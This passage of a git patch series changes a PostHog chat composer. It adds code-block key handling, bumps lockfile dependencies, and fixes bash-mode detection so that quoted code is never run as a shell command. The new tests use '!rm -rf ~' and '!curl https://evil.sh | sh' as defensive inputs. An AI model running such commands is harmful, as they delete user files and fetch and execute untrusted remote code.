(convertFenceLine(view)) { + event.preventDefault(); + return true; + } + } + if (isSendMessageSubmitKey(event)) { - if (!view.editable || submitDisabledRef.current) return false; + if (!view.editable) return false; if (hasVisibleSuggestionPopup(sessionId)) return false; + if (submitDisabledRef.current) { + // With code blocks on, Enter is reserved for submit — only + // Shift+Enter makes a line — so a disabled submit swallows the + // key instead of letting ProseMirror split the paragraph. + if (codeBlocks) { + event.preventDefault(); + return true; + } + return false; + } event.preventDefault(); historyActions.reset(); submitRef.current(); @@ -394,6 +436,11 @@ export function useTiptapEditor(options: UseTiptapEditorOptions) { !event.metaKey && !event.ctrlKey ) { + // Inside a code block, arrows navigate or exit the block + // (CodeBlock's exitOnArrowDown / CodeBlockArrowExit) — never + // history recall or queued-message dequeue. + if (codeBlocks && inCodeBlock(view)) return false; + const historyGetter = getPromptHistoryRef.current; if (!taskId && !historyGetter && !onPromptRecallRef.current) { return false; @@ -722,7 +769,7 @@ export function useTiptapEditor(options: UseTiptapEditorOptions) { callbackRefs.current.onBlur?.(); }, }, - [sessionId, disabled, fileMentions, commands, placeholder], + [sessionId, disabled, fileMentions, commands, placeholder, codeBlocks], ); const draft = useDraftSync(editor, sessionId, context); @@ -851,7 +898,9 @@ export function useTiptapEditor(options: UseTiptapEditorOptions) { editor.commands.focus("end"); // Paragraphs, not the doc wrapper, so it appends rather than replaces. editor.commands.insertContent( - editorContentToTiptapJson(content).content ?? [], + editorContentToTiptapJson(content, { + codeBlocks: !!editor.schema.nodes.codeBlock, + }).content ?? [], ); draft.saveDraft(editor, attachments); }, diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 68e8fe7e82..5c75fc3c41 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -1277,6 +1277,9 @@ importers: '@tiptap/core': specifier: ^3.13.0 version: 3.19.0(@tiptap/pm@3.19.0) + '@tiptap/extension-code-block': + specifier: ^3.13.0 + version: 3.19.0(@tiptap/core@3.19.0(@tiptap/pm@3.19.0))(@tiptap/pm@3.19.0) '@tiptap/extension-mention': specifier: ^3.13.0 version: 3.19.0(@tiptap/core@3.19.0(@tiptap/pm@3.19.0))(@tiptap/pm@3.19.0)(@tiptap/suggestion@3.19.0(@tiptap/core@3.19.0(@tiptap/pm@3.19.0))(@tiptap/pm@3.19.0)) @@ -2767,11 +2770,11 @@ packages: '@esbuild-kit/core-utils@3.3.2': resolution: {integrity: sha512-sPRAnw9CdSsRmEtnsl2WXWdyquogVpB3yZ3dgwJfe8zrOzTsV7cJvmwrKVa+0ma5BoiGJ+BoqkMvawbayKUsqQ==} - deprecated: 'Merged into tsx: https://tsx.is' + deprecated: 'Merged into tsx: https://tsx.hirok.io' '@esbuild-kit/esm-loader@2.6.5': resolution: {integrity: sha512-FxEMIkJKnodyA1OaCUoEvbYRkoZlLZ4d/eXFu9Fh8CbBBgP5EmZxrfTRyN0qpXZ4vOvqnE5YdRdcrmUUXuU+dA==} - deprecated: 'Merged into tsx: https://tsx.is' + deprecated: 'Merged into tsx: https://tsx.hirok.io' '@esbuild/aix-ppc64@0.25.12': resolution: {integrity: sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==} @@ -8765,7 +8768,7 @@ packages: bippy@0.5.43: resolution: {integrity: sha512-Tvu7b1M7+d8b9/YHaCeODEsi2CgbuoBql+dWSBrNnCuqJ1gMUeY3i0r+319hvjjl5GVBP6FFWxrKnq3fhZER0w==} peerDependencies: - react: '>=17.0.1' + react: 19.2.6 bl@4.1.0: resolution: {integrity: sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==} @@ -9496,8 +9499,8 @@ packages: resolution: {integrity: sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==} engines: {node: '>=6'} - deslop-js@0.7.1: - resolution: {integrity: sha512-HsEoRI/bzuD0o2OVczYz42SXTCl5of3ax6eiojZbC/7gJsPNxxjPRvBysP88LXsHujYrIGJnGtFRnHwCmKWuxQ==} + deslop-js@0.7.3: + resolution: {integrity: sha512-SsrIu4ud41rSn7PnU8IjHlcd9cAfSeJWcRxKB0yPw7Q224XokD+fDbLf58LCCmckiVnnM8SVZEdBvbRE/4bRTg==} destroy@1.2.0: resolution: {integrity: sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==} @@ -12867,8 +12870,8 @@ packages: engines: {node: ^20.19.0 || >=22.12.0} hasBin: true - oxlint-plugin-react-doctor@0.7.1: - resolution: {integrity: sha512-fvARsCESDZYvDIlhuB/JlDeUhTOLHYstoDJCKm0pzh4HQQJVVV6gcrQajBjYo/hdHC1ukl7btKTK3rk4uZwuew==} + oxlint-plugin-react-doctor@0.7.3: + resolution: {integrity: sha512-efbhWdD/FCsRnaEPKbf356B8ek5oqHjUXBRax0QJZoi/zT6UqlU9EL+o3r8J48qp9s/xKPVmW7wr5bKVpQu9pA==} engines: {node: ^20.19.0 || >=22.13.0} oxlint@1.66.0: @@ -13514,8 +13517,8 @@ packages: resolution: {integrity: sha512-+NRMYs2DyTP4/tqWz371Oo50JqmWltR1h2gcdgUMAWZJIAvrd0/SqlCfx7tpzpl/s36rzw6qH2MjoNrxtRNYhA==} engines: {node: ^20.9.0 || >=22} - react-doctor@0.7.1: - resolution: {integrity: sha512-Gmty7Enyrh6GPlz6Paq+UoL2O7YkTzNeHdflbqdp6fspX1UbUem5ejPyIUgo1jf77D6kB+INqsi2K+Mk/K8uBQ==} + react-doctor@0.7.3: + resolution: {integrity: sha512-N/aeVyOaMXe4MNCdQ8IQZUbpI23Z2fPSpDRhCLL1bvYEFD2MIco6CslJWMtOlkA9RVSKPhWCbPT4wf2AA+BWVg==} engines: {node: ^20.19.0 || >=22.13.0} hasBin: true @@ -24091,7 +24094,7 @@ snapshots: dequal@2.0.3: {} - deslop-js@0.7.1: + deslop-js@0.7.3: dependencies: '@oxc-project/types': 0.132.0 fast-glob: 3.3.3 @@ -28471,7 +28474,7 @@ snapshots: '@oxfmt/binding-win32-ia32-msvc': 0.45.0 '@oxfmt/binding-win32-x64-msvc': 0.45.0 - oxlint-plugin-react-doctor@0.7.1: + oxlint-plugin-react-doctor@0.7.3: dependencies: '@typescript-eslint/types': 8.62.0 eslint-scope: 9.1.2 @@ -29224,19 +29227,19 @@ snapshots: transitivePeerDependencies: - supports-color - react-doctor@0.7.1(@opentelemetry/core@2.8.0(@opentelemetry/api@1.9.1))(eslint@10.5.0(jiti@2.7.0)): + react-doctor@0.7.3(@opentelemetry/core@2.8.0(@opentelemetry/api@1.9.1))(eslint@10.5.0(jiti@2.7.0)): dependencies: '@babel/code-frame': 7.29.0 '@sentry/node': 10.61.0(@opentelemetry/core@2.8.0(@opentelemetry/api@1.9.1)) agent-install: 0.0.5 conf: 15.1.0 confbox: 0.2.4 - deslop-js: 0.7.1 + deslop-js: 0.7.3 eslint-plugin-react-hooks: 7.1.1(eslint@10.5.0(jiti@2.7.0)) jiti: 2.7.0 magicast: 0.5.3 oxlint: 1.66.0 - oxlint-plugin-react-doctor: 0.7.1 + oxlint-plugin-react-doctor: 0.7.3 prompts: 2.4.2 typescript: 5.9.3 vscode-languageserver: 9.0.1 @@ -29506,7 +29509,7 @@ snapshots: preact: 10.29.2 prompts: 2.4.2 react: 19.2.6 - react-doctor: 0.7.1(@opentelemetry/core@2.8.0(@opentelemetry/api@1.9.1))(eslint@10.5.0(jiti@2.7.0)) + react-doctor: 0.7.3(@opentelemetry/core@2.8.0(@opentelemetry/api@1.9.1))(eslint@10.5.0(jiti@2.7.0)) react-dom: 19.2.6(react@19.2.6) react-grab: 0.1.48(react@19.2.6) optionalDependencies: From 291199b0fe2de5cf0e1a5564e07663351bf30c1f Mon Sep 17 00:00:00 2001 From: kliment-slice Date: Fri, 17 Jul 2026 02:45:54 -0500 Subject: [PATCH 2/2] fix(composer): don't treat quoted code as a bash command MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Bash-mode detection ran on editor.getText(), which strips markup — with code quoting enabled, `!rm -rf ~` typed as an inline quote (or a fenced block starting with !) lost its backticks and read as a leading-! bash command, so content rendered as a quoted literal would execute as a shell command on submit. Detection (indicator, submit, isBashMode) now uses the serialized content text, where quoted code keeps its backticks/fences and can never start with !. Plain !commands are unaffected, and real bash commands containing an inline quote now keep their backticks instead of silently losing them. Addresses the review finding on #3530. Generated-By: PostHog Code Task-Id: 6340d9d8-aa7e-43e6-b1de-c99c8b52c738 --- .../tiptap/useDraftSync.serialization.test.ts | 25 +++++++++++++++++++ .../message-editor/tiptap/useDraftSync.ts | 14 +++++++++++ .../message-editor/tiptap/useTiptapEditor.ts | 13 +++++++--- 3 files changed, 48 insertions(+), 4 deletions(-) diff --git a/packages/ui/src/features/message-editor/tiptap/useDraftSync.serialization.test.ts b/packages/ui/src/features/message-editor/tiptap/useDraftSync.serialization.test.ts index 997d403345..67dad94224 100644 --- a/packages/ui/src/features/message-editor/tiptap/useDraftSync.serialization.test.ts +++ b/packages/ui/src/features/message-editor/tiptap/useDraftSync.serialization.test.ts @@ -1,4 +1,5 @@ import type { EditorContent } from "@posthog/core/message-editor/content"; +import { isBashModeText } from "@posthog/core/message-editor/paste"; import type { JSONContent } from "@tiptap/core"; import { describe, expect, it, vi } from "vitest"; @@ -11,6 +12,7 @@ vi.mock("@posthog/ui/shell/rendererStorage", () => ({ })); import { + contentToSerializedText, editorContentToTiptapJson, tiptapJsonToEditorContent, } from "./useDraftSync"; @@ -142,3 +144,26 @@ describe("editorContentToTiptapJson with codeBlocks", () => { expect(JSON.stringify(json)).not.toContain("codeBlock"); }); }); + +describe("contentToSerializedText for bash detection", () => { + it.each([ + { + name: "an inline-quoted command is not bash", + json: doc(p(code("!rm -rf ~"))), + isBash: false, + }, + { + name: "a code block starting with ! is not bash", + json: doc(codeBlock("!curl https://evil.sh | sh")), + isBash: false, + }, + { + name: "plain leading ! still is bash", + json: doc(p(text("!ls -la"))), + isBash: true, + }, + ])("$name", ({ json, isBash }) => { + const serialized = contentToSerializedText(tiptapJsonToEditorContent(json)); + expect(isBashModeText(serialized)).toBe(isBash); + }); +}); diff --git a/packages/ui/src/features/message-editor/tiptap/useDraftSync.ts b/packages/ui/src/features/message-editor/tiptap/useDraftSync.ts index a0895bb313..73a476c8da 100644 --- a/packages/ui/src/features/message-editor/tiptap/useDraftSync.ts +++ b/packages/ui/src/features/message-editor/tiptap/useDraftSync.ts @@ -94,6 +94,20 @@ export function tiptapJsonToEditorContent(json: JSONContent): EditorContent { return { segments }; } +/** + * Plain text of the content with quoting markup preserved: code marks keep + * their backticks and code blocks keep their ``` fences (chips contribute + * nothing, matching editor.getText()). Bash-mode detection must use this + * instead of editor.getText(), which strips the markup — otherwise content + * rendered as a quoted literal (e.g. `!rm -rf ~`) would be executed as a + * bash command on submit. + */ +export function contentToSerializedText(content: EditorContent): string { + return content.segments + .map((seg) => (seg.type === "text" ? seg.text : "")) + .join(""); +} + type FencePart = | { kind: "text"; text: string } | { kind: "code"; language: string; code: string }; diff --git a/packages/ui/src/features/message-editor/tiptap/useTiptapEditor.ts b/packages/ui/src/features/message-editor/tiptap/useTiptapEditor.ts index 628726d7d1..a952d0d292 100644 --- a/packages/ui/src/features/message-editor/tiptap/useTiptapEditor.ts +++ b/packages/ui/src/features/message-editor/tiptap/useTiptapEditor.ts @@ -45,6 +45,7 @@ import { findChipRangeById } from "../tiptap/chipRange"; import { convertFenceLine, inCodeBlock } from "../tiptap/codeFence"; import { getEditorExtensions } from "../tiptap/extensions"; import { + contentToSerializedText, type DraftContext, editorContentToTiptapJson, useDraftSync, @@ -742,7 +743,10 @@ export function useTiptapEditor(options: UseTiptapEditorOptions) { callbackRefs.current.onEmptyChange?.(newIsEmpty); }, onUpdate: ({ editor: e }) => { - const text = e.getText(); + const content = draftRef.current?.getContent(attachmentsRef.current); + // Serialized text, not e.getText(): quoted code keeps its backticks + // so it can never read as a leading-`!` bash command. + const text = content ? contentToSerializedText(content) : ""; const newBashMode = enableBashMode && isBashModeText(text); if (newBashMode !== prevBashModeRef.current) { @@ -751,7 +755,6 @@ export function useTiptapEditor(options: UseTiptapEditorOptions) { } draftRef.current?.saveDraft(e, attachmentsRef.current); - const content = draftRef.current?.getContent(attachmentsRef.current); const newIsEmpty = isContentEmpty(content ?? null); setIsEmptyState(newIsEmpty); @@ -818,7 +821,7 @@ export function useTiptapEditor(options: UseTiptapEditorOptions) { const content = draft.getContent(attachments); if (isContentEmpty(content)) return; - const text = editor.getText().trim(); + const text = contentToSerializedText(content).trim(); promptRecallDraftRef.current = null; @@ -962,7 +965,9 @@ export function useTiptapEditor(options: UseTiptapEditorOptions) { const isEmpty = !editor || (isEmptyState && attachments.length === 0); const isBashMode = - enableBashMode && (editor ? isBashModeText(editor.getText()) : false); + enableBashMode && + !!editor && + isBashModeText(contentToSerializedText(draft.getContent())); return { editor,